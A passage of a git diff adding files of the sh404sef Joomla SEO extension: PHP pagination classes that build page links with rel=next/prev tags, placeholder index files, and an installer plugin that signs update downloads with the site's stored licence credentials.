($data->next->base !== null) + { + $list['next']['active'] = true; + $this->_shOptions = array( 'rel' => 'next'); + $list['next']['data'] = ($itemOverride) ? pagination_item_active($data->next) : $this->_item_active($data->next); + } + else + { + $list['next']['active'] = false; + $list['next']['data'] = ($itemOverride) ? pagination_item_inactive($data->next) : $this->_item_inactive($data->next); + } + + if ($data->end->base !== null) + { + $list['end']['active'] = true; + // is this next? + $this->_shOptions = array(); + if($data->next->base !== null && $data->next->base == $data->end->base) { + $this->_shOptions['rel'] = 'next'; + } + $list['end']['data'] = ($itemOverride) ? pagination_item_active($data->end) : $this->_item_active($data->end); + } + + else { + $list['end']['active'] = false; + $list['end']['data'] = ($itemOverride) ? pagination_item_inactive($data->end) : $this->_item_inactive($data->end); + } + + if ($this->total > $this->limit) + { + return ($listOverride) ? pagination_list_render($list) : $this->_list_render($list); + } + else + { + return ''; + } + } + + /** + * Return the pagination footer. + * + * @return string Pagination footer. + * + * @since 11.1 + */ + public function getListFooter() + { + $app = JFactory::getApplication(); + + $list = array(); + $list['prefix'] = $this->prefix; + $list['limit'] = $this->limit; + $list['limitstart'] = $this->limitstart; + $list['total'] = $this->total; + $list['limitfield'] = $this->getLimitBox(); + $list['pagescounter'] = $this->getPagesCounter(); + $list['pageslinks'] = $this->getPagesLinks(); + + $chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/pagination.php'; + if (file_exists($chromePath)) + { + include_once $chromePath; + if (function_exists('pagination_list_footer')) + { + return pagination_list_footer($list); + } + } + return $this->_list_footer($list); + } + + /** + * Creates a dropdown box for selecting how many records to show per page. + * + * @return string The HTML for the limit # input box. + * + * @since 11.1 + */ + public function getLimitBox() + { + $app = JFactory::getApplication(); + + // Initialise variables. + $limits = array (); + + // Make the option list. + for ($i = 5; $i <= 30; $i += 5) + { + $limits[] = JHtml::_('select.option', "$i"); + } + $limits[] = JHtml::_('select.option', '50', JText::_('J50')); + $limits[] = JHtml::_('select.option', '100', JText::_('J100')); + $limits[] = JHtml::_('select.option', '0', JText::_('JALL')); + + $selected = $this->_viewall ? 0 : $this->limit; + + // Build the select list. + if ($app->isAdmin()) + { + $html = JHtml::_( + 'select.genericlist', + $limits, + $this->prefix . 'limit', + 'class="inputbox" size="1" onchange="Joomla.submitform();"', + 'value', + 'text', + $selected + ); + } + else + { + $html = JHtml::_( + 'select.genericlist', + $limits, + $this->prefix . 'limit', + 'class="inputbox" size="1" onchange="this.form.submit()"', + 'value', + 'text', + $selected + ); + } + return $html; + } + + /** + * Return the icon to move an item UP. + * + * @param integer $i The row index. + * @param boolean $condition True to show the icon. + * @param string $task The task to fire. + * @param string $alt The image alternative text string. + * @param boolean $enabled An optional setting for access control on the action. + * @param string $checkbox An optional prefix for checkboxes. + * + * @return string Either the icon to move an item up or a space. + * + * @since 11.1 + */ + public function orderUpIcon($i, $condition = true, $task = 'orderup', $alt = 'JLIB_HTML_MOVE_UP', $enabled = true, $checkbox='cb') + { + if (($i > 0 || ($i + $this->limitstart > 0)) && $condition) + { + return JHtml::_('jgrid.orderUp', $i, $task, '', $alt, $enabled, $checkbox); + } + else + { + return ' '; + } + } + + /** + * Return the icon to move an item DOWN. + * + * @param integer $i The row index. + * @param integer $n The number of items in the list. + * @param boolean $condition True to show the icon. + * @param string $task The task to fire. + * @param string $alt The image alternative text string. + * @param boolean $enabled An optional setting for access control on the action. + * @param string $checkbox An optional prefix for checkboxes. + * + * @return string Either the icon to move an item down or a space. + * + * @since 11.1 + */ + public function orderDownIcon($i, $n, $condition = true, $task = 'orderdown', $alt = 'JLIB_HTML_MOVE_DOWN', $enabled = true, $checkbox='cb') + { + if (($i < $n - 1 || $i + $this->limitstart < $this->total - 1) && $condition) + { + return JHtml::_('jgrid.orderDown', $i, $task, '', $alt, $enabled, $checkbox); + } + else + { + return ' '; + } + } + + /** + * Create the HTML for a list footer + * + * @param array $list Pagination list data structure. + * + * @return string HTML for a list footer + * + * @since 11.1 + */ + protected function _list_footer($list) + { + $html = "
    \n"; + + $html .= "\n
    ".JText::_('JGLOBAL_DISPLAY_NUM').$list['limitfield']."
    "; + $html .= $list['pageslinks']; + $html .= "\n
    ".$list['pagescounter']."
    "; + + $html .= "\n"; + $html .= "\n
    "; + + return $html; + } + + /** + * Create the html for a list footer + * + * @param array $list Pagination list data structure. + * + * @return string HTML for a list start, previous, next,end + * + * @since 11.1 + */ + protected function _list_render($list) + { + // Reverse output rendering for right-to-left display. + $html = '
      '; + $html .= '
    • '.$list['start']['data'].'
    • '; + $html .= '
    • '.$list['previous']['data'].'
    • '; + foreach ($list['pages'] as $page) + { + $html .= '
    • '.$page['data'].'
    • '; + } + $html .= '
    • '. $list['next']['data'].'
    • '; + $html .= '
    • '. $list['end']['data'].'
    • '; + $html .= '
    '; + + return $html; + } + + /** + * Method to create an active pagination link to the item + * + * @param JPaginationObject &$item The object with which to make an active link. + * + * @return string HTML link + * + * @since 11.1 + */ + protected function _item_active(&$item) + { + $app = JFactory::getApplication(); + if ($app->isAdmin()) + { + if ($item->base > 0) + { + return "text . "\" onclick=\"document.adminForm." . $this->prefix . "limitstart.value=" . $item->base + . "; Joomla.submitform();return false;\">" . $item->text . ""; + } + else + { + return "text . "\" onclick=\"document.adminForm." . $this->prefix + . "limitstart.value=0; Joomla.submitform();return false;\">" . $item->text . ""; + } + } + else { + return "text."\" href=\"".$item->link. '"' .(Sh404sefFactory::getConfig()->insertPaginationTags && !empty($this->_shOptions['rel']) ? ' rel="' . $this->_shOptions['rel'] . '"' : ''). " class=\"pagenav\">".$item->text.""; + } + } + + /** + * Method to create an inactive pagination string + * + * @param object &$item The item to be processed + * + * @return string + * + * @since 11.1 + */ + protected function _item_inactive(&$item) + { + $app = JFactory::getApplication(); + if ($app->isAdmin()) + { + return "".$item->text.""; + } + else + { + return "".$item->text.""; + } + } + + /** + * Create and return the pagination data object. + * + * @return object Pagination data object. + * + * @since 11.1 + */ + protected function _buildDataObject() + { + // Initialise variables. + $data = new stdClass; + $sefConfig = & Sh404sefFactory::getConfig(); + + // build a "limit" string + $limitString = '&limit=' . $this->limit; + + // Build the additional URL parameters string. + $params = ''; + if (!empty($this->_additionalUrlParams)) + { + foreach($this->_additionalUrlParams as $key => $value) + { + $params .= '&'.$key.'='.$value; + } + } + + $data->all = new JPaginationObject(JText::_('JLIB_HTML_VIEW_ALL'), $this->prefix); + if (!$this->_viewall) + { + $data->all->base = '0'; + $data->all->link = JRoute::_($params.'&'.$this->prefix.'limitstart='); + } + + // Set the start and previous data objects. + $data->start = new JPaginationObject(JText::_('JLIB_HTML_START'), $this->prefix); + $data->previous = new JPaginationObject(JText::_('JPREV'), $this->prefix); + + if ($this->get('pages.current') > 1) + { + $page = ($this->get('pages.current') -2) * $this->limit; + + // Set the empty for removal from route + //$page = $page == 0 ? '' : $page; + + $data->start->base = '0'; + $data->start->link = JRoute::_($params.'&'.$this->prefix.'limitstart=0'); + $data->previous->base = $page; + $data->previous->link = JRoute::_($params.'&'.$this->prefix.'limitstart='.$page.$limitString); + + if($sefConfig->insertPaginationTags) { + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->paginationPrevLink = $data->previous->link; + } + } + + // Set the next and end data objects. + $data->next = new JPaginationObject(JText::_('JNEXT'), $this->prefix); + $data->end = new JPaginationObject(JText::_('JLIB_HTML_END'), $this->prefix); + + if ($this->get('pages.current') < $this->get('pages.total')) + { + $next = $this->get('pages.current') * $this->limit; + $end = ($this->get('pages.total') -1) * $this->limit; + + $data->next->base = $next; + $data->next->link = JRoute::_($params.'&'.$this->prefix.'limitstart='.$next.$limitString); + $data->end->base = $end; + $data->end->link = JRoute::_($params.'&'.$this->prefix.'limitstart='.$end.$limitString); + + if($sefConfig->insertPaginationTags) { + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->paginationNextLink = $data->next->link; + } + + } + + $data->pages = array(); + $stop = $this->get('pages.stop'); + for ($i = $this->get('pages.start'); $i <= $stop; $i ++) + { + $offset = ($i -1) * $this->limit; + // Set the empty for removal from route + //$offset = $offset == 0 ? '' : $offset; + + $data->pages[$i] = new JPaginationObject($i, $this->prefix); + if ($i != $this->get('pages.current') || $this->_viewall) + { + $data->pages[$i]->base = $offset; + $data->pages[$i]->link = JRoute::_($params.'&'.$this->prefix.'limitstart='.$offset.$limitString); + } + } + return $data; + } +} + +/** + * Pagination object representing a particular item in the pagination lists. + * + * @package Joomla.Framework + * @subpackage HTML + * @since 1.5 + */ +class JPaginationObject extends JObject +{ + public $text; + public $base; + public $link; + public $prefix; + + public function __construct($text, $prefix = '', $base = null, $link = null) + { + $this->text = $text; + $this->prefix = $prefix; + $this->base = $base; + $this->link = $link; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/pagination_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/pagination_j3.php new file mode 100644 index 00000000..25a3fcd4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/pagination_j3.php @@ -0,0 +1,952 @@ +total = (int) $total; + $this->limitstart = (int) max($limitstart, 0); + $this->limit = (int) max($limit, 0); + $this->prefix = $prefix; + + if ($this->limit > $this->total) + { + $this->limitstart = 0; + } + + if (!$this->limit) + { + $this->limit = $total; + $this->limitstart = 0; + } + + /* + * If limitstart is greater than total (i.e. we are asked to display records that don't exist) + * then set limitstart to display the last natural page of results + */ + if ($this->limitstart > $this->total - $this->limit) + { + $this->limitstart = max(0, (int) (ceil($this->total / $this->limit) - 1) * $this->limit); + } + + // Set the total pages and current page values. + if ($this->limit > 0) + { + $this->pagesTotal = ceil($this->total / $this->limit); + $this->pagesCurrent = ceil(($this->limitstart + 1) / $this->limit); + } + + // Set the pagination iteration loop values. + $displayedPages = 10; + $this->pagesStart = $this->pagesCurrent - ($displayedPages / 2); + if ($this->pagesStart < 1) + { + $this->pagesStart = 1; + } + if ($this->pagesStart + $displayedPages > $this->pagesTotal) + { + $this->pagesStop = $this->pagesTotal; + if ($this->pagesTotal < $displayedPages) + { + $this->pagesStart = 1; + } + else + { + $this->pagesStart = $this->pagesTotal - $displayedPages + 1; + } + } + else + { + $this->pagesStop = $this->pagesStart + $displayedPages - 1; + } + + // If we are viewing all records set the view all flag to true. + if ($limit == 0) + { + $this->viewall = true; + } + } + + /** + * Method to set an additional URL parameter to be added to all pagination class generated + * links. + * + * @param string $key The name of the URL parameter for which to set a value. + * @param mixed $value The value to set for the URL parameter. + * + * @return mixed The old value for the parameter. + * + * @since 1.6 + */ + public function setAdditionalUrlParam($key, $value) + { + // Get the old value to return and set the new one for the URL parameter. + $result = isset($this->additionalUrlParams[$key]) ? $this->additionalUrlParams[$key] : null; + + // If the passed parameter value is null unset the parameter, otherwise set it to the given value. + if ($value === null) + { + unset($this->additionalUrlParams[$key]); + } + else + { + $this->additionalUrlParams[$key] = $value; + } + + return $result; + } + + /** + * Method to get an additional URL parameter (if it exists) to be added to + * all pagination class generated links. + * + * @param string $key The name of the URL parameter for which to get the value. + * + * @return mixed The value if it exists or null if it does not. + * + * @since 1.6 + */ + public function getAdditionalUrlParam($key) + { + $result = isset($this->additionalUrlParams[$key]) ? $this->additionalUrlParams[$key] : null; + + return $result; + } + + /** + * Return the rationalised offset for a row with a given index. + * + * @param integer $index The row index + * + * @return integer Rationalised offset for a row with a given index. + * + * @since 1.5 + */ + public function getRowOffset($index) + { + return $index + 1 + $this->limitstart; + } + + /** + * Return the pagination data object, only creating it if it doesn't already exist. + * + * @return object Pagination data object. + * + * @since 1.5 + */ + public function getData() + { + static $data; + if (!is_object($data)) + { + $data = $this->_buildDataObject(); + } + return $data; + } + + /** + * Create and return the pagination pages counter string, ie. Page 2 of 4. + * + * @return string Pagination pages counter string. + * + * @since 1.5 + */ + public function getPagesCounter() + { + $html = null; + if ($this->pagesTotal > 1) + { + $html .= JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $this->pagesCurrent, $this->pagesTotal); + } + return $html; + } + + /** + * Create and return the pagination result set counter string, e.g. Results 1-10 of 42 + * + * @return string Pagination result set counter string. + * + * @since 1.5 + */ + public function getResultsCounter() + { + $html = null; + $fromResult = $this->limitstart + 1; + + // If the limit is reached before the end of the list. + if ($this->limitstart + $this->limit < $this->total) + { + $toResult = $this->limitstart + $this->limit; + } + else + { + $toResult = $this->total; + } + + // If there are results found. + if ($this->total > 0) + { + $msg = JText::sprintf('JLIB_HTML_RESULTS_OF', $fromResult, $toResult, $this->total); + $html .= "\n" . $msg; + } + else + { + $html .= "\n" . JText::_('JLIB_HTML_NO_RECORDS_FOUND'); + } + + return $html; + } + + /** + * Create and return the pagination page list string, ie. Previous, Next, 1 2 3 ... x. + * + * @return string Pagination page list string. + * + * @since 1.5 + */ + public function getPagesLinks() + { + $app = JFactory::getApplication(); + + // Build the page navigation list. + $data = $this->_buildDataObject(); + + $list = array(); + $list['prefix'] = $this->prefix; + + $itemOverride = false; + $listOverride = false; + + $chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/pagination.php'; + if (file_exists($chromePath)) + { + include_once $chromePath; + if (function_exists('pagination_item_active') && function_exists('pagination_item_inactive')) + { + $itemOverride = true; + } + if (function_exists('pagination_list_render')) + { + $listOverride = true; + } + } + + // Build the select list + if ($data->all->base !== null) + { + $list['all']['active'] = true; + $list['all']['data'] = ($itemOverride) ? pagination_item_active($data->all) : $this->_item_active($data->all); + } + else + { + $list['all']['active'] = false; + $list['all']['data'] = ($itemOverride) ? pagination_item_inactive($data->all) : $this->_item_inactive($data->all); + } + + if ($data->start->base !== null) + { + $list['start']['active'] = true; + // is this prev? + $this->_shOptions = array(); + if ($data->previous->base !== null && $data->previous->base == $data->start->base) + { + $this->_shOptions['rel'] = 'prev'; + } + $list['start']['data'] = ($itemOverride) ? pagination_item_active($data->start) : $this->_item_active($data->start); + } + else + { + $list['start']['active'] = false; + $list['start']['data'] = ($itemOverride) ? pagination_item_inactive($data->start) : $this->_item_inactive($data->start); + } + if ($data->previous->base !== null) + { + $list['previous']['active'] = true; + $this->_shOptions = array('rel' => 'prev'); + $list['previous']['data'] = ($itemOverride) ? pagination_item_active($data->previous) : $this->_item_active($data->previous); + } + else + { + $list['previous']['active'] = false; + $list['previous']['data'] = ($itemOverride) ? pagination_item_inactive($data->previous) : $this->_item_inactive($data->previous); + } + + // Make sure it exists + $list['pages'] = array(); + foreach ($data->pages as $i => $page) + { + if ($page->base !== null) + { + $list['pages'][$i]['active'] = true; + // is this next or prev? + $this->_shOptions = array(); + if ($data->next->base !== null && $data->next->base == $page->base) + { + $this->_shOptions['rel'] = 'next'; + } + else if ($data->previous->base !== null && $data->previous->base == $page->base) + { + $this->_shOptions['rel'] = 'prev'; + } + $list['pages'][$i]['data'] = ($itemOverride) ? pagination_item_active($page) : $this->_item_active($page); + } + else + { + $list['pages'][$i]['active'] = false; + $list['pages'][$i]['data'] = ($itemOverride) ? pagination_item_inactive($page) : $this->_item_inactive($page); + } + } + + if ($data->next->base !== null) + { + $list['next']['active'] = true; + $this->_shOptions = array('rel' => 'next'); + $list['next']['data'] = ($itemOverride) ? pagination_item_active($data->next) : $this->_item_active($data->next); + } + else + { + $list['next']['active'] = false; + $list['next']['data'] = ($itemOverride) ? pagination_item_inactive($data->next) : $this->_item_inactive($data->next); + } + + if ($data->end->base !== null) + { + $list['end']['active'] = true; + // is this next? + $this->_shOptions = array(); + if ($data->next->base !== null && $data->next->base == $data->end->base) + { + $this->_shOptions['rel'] = 'next'; + } + $list['end']['data'] = ($itemOverride) ? pagination_item_active($data->end) : $this->_item_active($data->end); + } + else + { + $list['end']['active'] = false; + $list['end']['data'] = ($itemOverride) ? pagination_item_inactive($data->end) : $this->_item_inactive($data->end); + } + + if ($this->total > $this->limit) + { + return ($listOverride) ? pagination_list_render($list) : $this->_list_render($list); + } + else + { + return ''; + } + } + + /** + * Get the pagination links + * + * @param string $layoutId Layout to render the links + * @param array $options Optional array with settings for the layout + * + * @return string Pagination links. + * + * @since 3.3 + */ + public function getPaginationLinks($layoutId = 'joomla.pagination.links', $options = array()) + { + // Allow to receive a null layout + $layoutId = (null === $layoutId) ? 'joomla.pagination.links' : $layoutId; + + $app = JFactory::getApplication(); + + $list = array('prefix' => $this->prefix, 'limit' => $this->limit, 'limitstart' => $this->limitstart, 'total' => $this->total, + 'limitfield' => $this->getLimitBox(), 'pagescounter' => $this->getPagesCounter(), 'pages' => $this->getPaginationPages()); + + return JLayoutHelper::render($layoutId, array('list' => $list, 'options' => $options)); + } + + /** + * Create and return the pagination page list string, ie. Previous, Next, 1 2 3 ... x. + * + * @return string Pagination page list string. + * + * @since 3.3 + */ + public function getPaginationPages() + { + $list = array(); + + if ($this->total > $this->limit) + { + // Build the page navigation list. + $data = $this->_buildDataObject(); + + // All + $list['all']['active'] = (null !== $data->all->base); + $list['all']['data'] = $data->all; + + // Start + $list['start']['active'] = (null !== $data->start->base); + $list['start']['data'] = $data->start; + + // Previous link + $list['previous']['active'] = (null !== $data->previous->base); + $list['previous']['data'] = $data->previous; + + // Make sure it exists + $list['pages'] = array(); + + foreach ($data->pages as $i => $page) + { + $list['pages'][$i]['active'] = (null !== $page->base); + $list['pages'][$i]['data'] = $page; + } + + $list['next']['active'] = (null !== $data->next->base); + $list['next']['data'] = $data->next; + + $list['end']['active'] = (null !== $data->end->base); + $list['end']['data'] = $data->end; + } + + return $list; + } + + /** + * Return the pagination footer. + * + * @return string Pagination footer. + * + * @since 1.5 + */ + public function getListFooter() + { + if (version_compare(JVERSION, '3.3', 'ge')) + { + // Keep B/C for overrides done with chromes + $chromePath = JPATH_THEMES . '/' . JFactory::getApplication()->getTemplate() . '/html/pagination.php'; + + if (file_exists($chromePath)) + { + $list = array(); + $list['prefix'] = $this->prefix; + $list['limit'] = $this->limit; + $list['limitstart'] = $this->limitstart; + $list['total'] = $this->total; + $list['limitfield'] = $this->getLimitBox(); + $list['pagescounter'] = $this->getPagesCounter(); + $list['pageslinks'] = $this->getPagesLinks(); + + include_once $chromePath; + + if (function_exists('pagination_list_footer')) + { + return pagination_list_footer($list); + } + } + + return $this->getPaginationLinks(); + } + else + { + $app = JFactory::getApplication(); + + $list = array(); + $list['prefix'] = $this->prefix; + $list['limit'] = $this->limit; + $list['limitstart'] = $this->limitstart; + $list['total'] = $this->total; + $list['limitfield'] = $this->getLimitBox(); + $list['pagescounter'] = $this->getPagesCounter(); + $list['pageslinks'] = $this->getPagesLinks(); + + $chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/pagination.php'; + if (file_exists($chromePath)) + { + include_once $chromePath; + if (function_exists('pagination_list_footer')) + { + return pagination_list_footer($list); + } + } + return $this->_list_footer($list); + } + } + + /** + * Creates a dropdown box for selecting how many records to show per page. + * + * @return string The HTML for the limit # input box. + * + * @since 1.5 + */ + public function getLimitBox() + { + $app = JFactory::getApplication(); + $limits = array(); + + // Make the option list. + for ($i = 5; $i <= 30; $i += 5) + { + $limits[] = JHtml::_('select.option', "$i"); + } + $limits[] = JHtml::_('select.option', '50', JText::_('J50')); + $limits[] = JHtml::_('select.option', '100', JText::_('J100')); + $limits[] = JHtml::_('select.option', '0', JText::_('JALL')); + + $selected = $this->viewall ? 0 : $this->limit; + + // Build the select list. + if ($app->isAdmin()) + { + $html = JHtml::_( + 'select.genericlist', + $limits, + $this->prefix . 'limit', + 'class="inputbox input-mini" size="1" onchange="Joomla.submitform();"', + 'value', + 'text', + $selected + ); + } + else + { + $html = JHtml::_( + 'select.genericlist', + $limits, + $this->prefix . 'limit', + 'class="inputbox input-mini" size="1" onchange="this.form.submit()"', + 'value', + 'text', + $selected + ); + } + return $html; + } + + /** + * Return the icon to move an item UP. + * + * @param integer $i The row index. + * @param boolean $condition True to show the icon. + * @param string $task The task to fire. + * @param string $alt The image alternative text string. + * @param boolean $enabled An optional setting for access control on the action. + * @param string $checkbox An optional prefix for checkboxes. + * + * @return string Either the icon to move an item up or a space. + * + * @since 1.5 + */ + public function orderUpIcon($i, $condition = true, $task = 'orderup', $alt = 'JLIB_HTML_MOVE_UP', $enabled = true, $checkbox = 'cb') + { + if (($i > 0 || ($i + $this->limitstart > 0)) && $condition) + { + return JHtml::_('jgrid.orderUp', $i, $task, '', $alt, $enabled, $checkbox); + } + else + { + return ' '; + } + } + + /** + * Return the icon to move an item DOWN. + * + * @param integer $i The row index. + * @param integer $n The number of items in the list. + * @param boolean $condition True to show the icon. + * @param string $task The task to fire. + * @param string $alt The image alternative text string. + * @param boolean $enabled An optional setting for access control on the action. + * @param string $checkbox An optional prefix for checkboxes. + * + * @return string Either the icon to move an item down or a space. + * + * @since 1.5 + */ + public function orderDownIcon($i, $n, $condition = true, $task = 'orderdown', $alt = 'JLIB_HTML_MOVE_DOWN', $enabled = true, $checkbox = 'cb') + { + if (($i < $n - 1 || $i + $this->limitstart < $this->total - 1) && $condition) + { + return JHtml::_('jgrid.orderDown', $i, $task, '', $alt, $enabled, $checkbox); + } + else + { + return ' '; + } + } + + /** + * Create the HTML for a list footer + * + * @param array $list Pagination list data structure. + * + * @return string HTML for a list footer + * + * @since 1.5 + */ + protected function _list_footer($list) + { + $html = "
    \n"; + + $html .= "\n
    " . JText::_('JGLOBAL_DISPLAY_NUM') . $list['limitfield'] . "
    "; + $html .= $list['pageslinks']; + $html .= "\n
    " . $list['pagescounter'] . "
    "; + + $html .= "\n"; + $html .= "\n
    "; + + return $html; + } + + /** + * Create the html for a list footer + * + * @param array $list Pagination list data structure. + * + * @return string HTML for a list start, previous, next,end + * + * @since 1.5 + */ + protected function _list_render($list) + { + // Reverse output rendering for right-to-left display. + $html = '
      '; + $html .= '
    • ' . $list['start']['data'] . '
    • '; + $html .= '
    • ' . $list['previous']['data'] . '
    • '; + foreach ($list['pages'] as $page) + { + $html .= '
    • ' . $page['data'] . '
    • '; + } + $html .= '
    • ' . $list['next']['data'] . '
    • '; + $html .= '
    • ' . $list['end']['data'] . '
    • '; + $html .= '
    '; + + return $html; + } + + /** + * Method to create an active pagination link to the item + * + * @param JPaginationObject $item The object with which to make an active link. + * + * @return string HTML link + * + * @since 1.5 + */ + protected function _item_active(JPaginationObject $item) + { + $app = JFactory::getApplication(); + + $title = ''; + $class = ''; + + if (version_compare(JVERSION, '3.3', 'ge')) + { + if (!is_numeric($item->text)) + { + JHtml::_('bootstrap.tooltip'); + $title = ' title="' . $item->text . '"'; + $class = 'hasTooltip '; + } + + if ($app->isAdmin()) + { + return '' . $item->text . ''; + } + else + { + return '' . $item->text . ''; + } + } + else + { + if (!is_numeric($item->text)) + { + JHtml::_('bootstrap.tooltip'); + $title = ' class="hasTooltip" title="' . $item->text . '"'; + } + + if ($app->isAdmin()) + { + return '' . $item->text . ''; + } + else + { + return '' . $item->text . ''; + } + } + } + + /** + * Method to create an inactive pagination string + * + * @param JPaginationObject $item The item to be processed + * + * @return string + * + * @since 1.5 + */ + protected function _item_inactive(JPaginationObject $item) + { + $app = JFactory::getApplication(); + if ($app->isAdmin()) + { + return '' . $item->text . ''; + } + else + { + return '' . $item->text . ''; + } + } + + /** + * Create and return the pagination data object. + * + * @return object Pagination data object. + * + * @since 1.5 + */ + protected function _buildDataObject() + { + $data = new stdClass; + $sefConfig = &Sh404sefFactory::getConfig(); + + // build a "limit" string + $limitString = '&limit=' . $this->limit; + + // Build the additional URL parameters string. + $params = ''; + if (!empty($this->additionalUrlParams)) + { + foreach ($this->additionalUrlParams as $key => $value) + { + $params .= '&' . $key . '=' . $value; + } + } + + $data->all = new JPaginationObject(JText::_('JLIB_HTML_VIEW_ALL'), $this->prefix); + if (!$this->viewall) + { + $data->all->base = '0'; + $data->all->link = JRoute::_($params . '&' . $this->prefix . 'limitstart='); + } + + // Set the start and previous data objects. + $data->start = new JPaginationObject(JText::_('JLIB_HTML_START'), $this->prefix); + $data->previous = new JPaginationObject(JText::_('JPREV'), $this->prefix); + + if ($this->pagesCurrent > 1) + { + $page = ($this->pagesCurrent - 2) * $this->limit; + + // Set the empty for removal from route + // @todo remove code: $page = $page == 0 ? '' : $page; + + $data->start->base = '0'; + $data->start->link = JRoute::_($params . '&' . $this->prefix . 'limitstart=0'); + $data->previous->base = $page; + $data->previous->link = JRoute::_($params . '&' . $this->prefix . 'limitstart=' . $page . $limitString); + + if ($sefConfig->insertPaginationTags) + { + $pageInfo = &Sh404sefFactory::getPageInfo(); + $pageInfo->paginationPrevLink = $data->previous->link; + } + } + + // Set the next and end data objects. + $data->next = new JPaginationObject(JText::_('JNEXT'), $this->prefix); + $data->end = new JPaginationObject(JText::_('JLIB_HTML_END'), $this->prefix); + + if ($this->pagesCurrent < $this->pagesTotal) + { + $next = $this->pagesCurrent * $this->limit; + $end = ($this->pagesTotal - 1) * $this->limit; + + $data->next->base = $next; + $data->next->link = JRoute::_($params . '&' . $this->prefix . 'limitstart=' . $next . $limitString); + $data->end->base = $end; + $data->end->link = JRoute::_($params . '&' . $this->prefix . 'limitstart=' . $end . $limitString); + + if ($sefConfig->insertPaginationTags) + { + $pageInfo = Sh404sefFactory::getPageInfo(); + $pageInfo->paginationNextLink = $data->next->link; + } + } + + $data->pages = array(); + $stop = $this->pagesStop; + for ($i = $this->pagesStart; $i <= $stop; $i++) + { + $offset = ($i - 1) * $this->limit; + + // Set the empty for removal from route + // @todo remove code: $offset = $offset == 0 ? '' : $offset; + + $data->pages[$i] = new JPaginationObject($i, $this->prefix); + if ($i != $this->pagesCurrent || $this->viewall) + { + $data->pages[$i]->base = $offset; + $data->pages[$i]->link = JRoute::_($params . '&' . $this->prefix . 'limitstart=' . $offset . $limitString); + } + else + { + $data->pages[$i]->active = true; + } + } + return $data; + } + + /** + * Modifies a property of the object, creating it if it does not already exist. + * + * @param string $property The name of the property. + * @param mixed $value The value of the property to set. + * + * @return void + * + * @since 3.0 + * @deprecated 4.0 Access the properties directly. + */ + public function set($property, $value = null) + { + JLog::add('JPagination::set() is deprecated. Access the properties directly.', JLog::WARNING, 'deprecated'); + + if (strpos($property, '.')) + { + $prop = explode('.', $property); + $prop[1] = ucfirst($prop[1]); + $property = implode($prop); + } + $this->$property = $value; + } + + /** + * Returns a property of the object or the default value if the property is not set. + * + * @param string $property The name of the property. + * @param mixed $default The default value. + * + * @return mixed The value of the property. + * + * @since 3.0 + * @deprecated 4.0 Access the properties directly. + */ + public function get($property, $default = null) + { + JLog::add('JPagination::get() is deprecated. Access the properties directly.', JLog::WARNING, 'deprecated'); + + if (strpos($property, '.')) + { + $prop = explode('.', $property); + $prop[1] = ucfirst($prop[1]); + $property = implode($prop); + } + if (isset($this->$property)) + { + return $this->$property; + } + return $default; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/index.html new file mode 100644 index 00000000..640bda4a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.php new file mode 100644 index 00000000..3295757f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.php @@ -0,0 +1,114 @@ + value format) + * + * @return boolean true always true + * + * @since 2.5 + */ + public function onInstallerBeforePackageDownload(&$url, &$headers) + { + // are we trying to update our extension? + if (strpos($url, $this->baseUrl) !== 0) + { + return true; + } + + // read credentials from extension params or any other source + $credentials = $this->fetchCredentials($url, $headers); + + // bind credentials to request, either in the urls, or using headers + // or a combination of both + $this->bindCredentials($credentials, $url, $headers); + + return true; + } + + /** + * Bind credentials to the download request. + * + * @param array $credentials whatever credentials were retrieved for the current user/website + * @param string $url url from which package is going to be downloaded + * @param array $headers headers to be sent along the download request (key => value format) + * + * @return void + */ + private function bindCredentials($credentials, &$url, &$headers) + { + $headers['X-download-auth-ts'] = time(); + $headers['X-download-auth-id'] = $credentials['id']; + $headers['X-download-auth-token'] = sha1($headers['X-download-auth-ts'] . mt_rand() . $credentials['secret'] . $url); + $headers['X-download-auth-sig'] = sha1( + $credentials['id'] . $headers['X-download-auth-token'] . $credentials['secret'] . $headers['X-download-auth-ts'] . $this->productId + . $this->productEdition); + } + + /** + * Retrieve user credentials + * + * @return mixed an array with credentials (id, secret), or null if none found + */ + private function fetchCredentials($url, $headers) + { + + $credentials = null; + + // fetch credentials from extension parameters + // Get the component information from the #__extensions table + JLoader::import('joomla.application.component.helper'); + $component = JComponentHelper::getComponent($this->extension); + + $credentials = array('id' => trim($component->params->get('update_credentials_access', '')), + 'secret' => trim($component->params->get('update_credentials_secret', ''))); + return $credentials; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.xml new file mode 100644 index 00000000..f8b9b2bd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/installer/sh404sef/sh404sef.xml @@ -0,0 +1,16 @@ + + + 